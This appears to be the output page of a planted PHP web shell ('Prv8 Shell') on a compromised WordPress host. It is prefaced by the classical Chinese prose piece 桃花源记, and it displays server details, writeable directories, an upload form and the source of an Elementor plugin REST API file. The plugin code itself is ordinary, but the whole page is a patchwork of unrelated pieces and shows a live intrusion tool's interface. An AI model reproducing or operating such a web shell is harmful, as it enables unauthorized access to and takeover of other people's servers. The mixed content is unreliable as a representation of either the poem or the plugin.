晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/wp-contentTZh/plugins/elementor/core/common/modules/connect/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/wp-contentTZh/plugins/elementor/core/common/modules/connect/rest/rest-api.php
<?php
namespace Elementor\Core\Common\Modules\Connect\Rest;

use Elementor\Plugin;
use WP_Http;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor Library Connect REST API.
 *
 * REST API controller for handling library connect operations.
 */
class Rest_Api {

	/**
	 * REST API namespace.
	 */
	const REST_NAMESPACE = 'elementor/v1';

	/**
	 * REST API base.
	 */
	const REST_BASE = 'library';

	/**
	 * Authentication mode.
	 */
	const AUTH_MODE = 'rest';

	/**
	 * Register REST API routes.
	 *
	 * @access public
	 * @return void
	 */
	public function register_routes() {
		register_rest_route(
			self::REST_NAMESPACE,
			self::REST_BASE . '/connect',
			[
				[
					'methods' => \WP_REST_Server::CREATABLE,
					'callback' => [ $this, 'connect' ],
					'permission_callback' => [ $this, 'connect_permissions_check' ],
					'args' => [
						'token' => [
							'required' => true,
							'type' => 'string',
							'description' => 'Connect CLI token',
						],
					],
				],
			]
		);

		register_rest_route(
			self::REST_NAMESPACE,
			self::REST_BASE . '/connect',
			[
				[
					'methods' => \WP_REST_Server::DELETABLE,
					'callback' => [ $this, 'disconnect' ],
					'permission_callback' => [ $this, 'connect_permissions_check' ],
				],
			]
		);
	}
	public function connect( \WP_REST_Request $request ) {
		$app = $this->get_connect_app();
		if ( ! $app ) {
			return $this->elementor_library_app_not_available();
		}

		$app->set_auth_mode( self::AUTH_MODE );
		$_REQUEST['mode'] = self::AUTH_MODE;
		$_REQUEST['token'] = $request->get_param( 'token' );

		try {
			$app->action_authorize();
			$app->action_get_token();

			if ( $app->is_connected() ) {
				return $this->success_response(
					[ 'message' => __( 'Connected successfully.', 'elementor' ) ],
				WP_Http::CREATED );
			} else {
				return $this->error_response(
					'elementor_library_not_connected',
					__( 'Failed to connect to Elementor Library.', 'elementor' ),
					WP_Http::INTERNAL_SERVER_ERROR
				);
			}
		} catch ( \Exception $e ) {
			return $this->error_response(
				'elementor_library_connect_error',
				$e->getMessage(),
				WP_Http::INTERNAL_SERVER_ERROR
			);
		}
	}

	public function disconnect( \WP_REST_Request $request ) {
		$app = $this->get_connect_app();
		if ( ! $app ) {
			return $this->elementor_library_app_not_available();
		}

		$app->set_auth_mode( self::AUTH_MODE );
		$_REQUEST['mode'] = self::AUTH_MODE;

		try {
			$app->action_disconnect();
			return $this->success_response(
				[ 'message' => __( 'Disconnected successfully.', 'elementor' ) ],
				WP_Http::OK
			);
		} catch ( \Exception $e ) {
			return $this->error_response(
				'elementor_library_disconnect_error',
				$e->getMessage(),
				WP_Http::INTERNAL_SERVER_ERROR
			);
		}
	}

	public function connect_permissions_check( \WP_REST_Request $request ) {
		return current_user_can( 'manage_options' );
	}

	private function route_wrapper( callable $cb ) {
		try {
			$response = $cb();
		} catch ( \Exception $e ) {
			return $this->error_response(
				'unexpected_error',
				__( 'Something went wrong', 'elementor' ),
				WP_Http::INTERNAL_SERVER_ERROR
			);
		}
		return $response;
	}

	private function error_response( $code, $message, $status = WP_Http::BAD_REQUEST ) {
		return new \WP_Error(
			$code,
			$message,
			[ 'status' => $status ]
		);
	}

	private function success_response( $data = [], $status = WP_Http::OK ) {
		$response = rest_ensure_response( array_merge( [ 'success' => true ], $data ) );
		$response->set_status( $status );
		return $response;
	}

	private function elementor_library_app_not_available() {
		return $this->error_response(
			'elementor_library_app_not_available',
			__( 'Elementor Library app is not available.', 'elementor' ),
			WP_Http::INTERNAL_SERVER_ERROR
		);
	}

	/**
	 * Get the connect app.
	 *
	 * @return \Elementor\Core\Common\Modules\Connect\Apps\Library|null
	 */
	private function get_connect_app() {
		$connect = Plugin::$instance->common->get_component( 'connect' );
		if ( ! $connect ) {
			return null;
		}
		$app = $connect->get_app( 'library' );
		if ( ! $app ) {
			$connect->init();
			$app = $connect->get_app( 'library' );
		}
		return $app;
	}
}

haha - 2025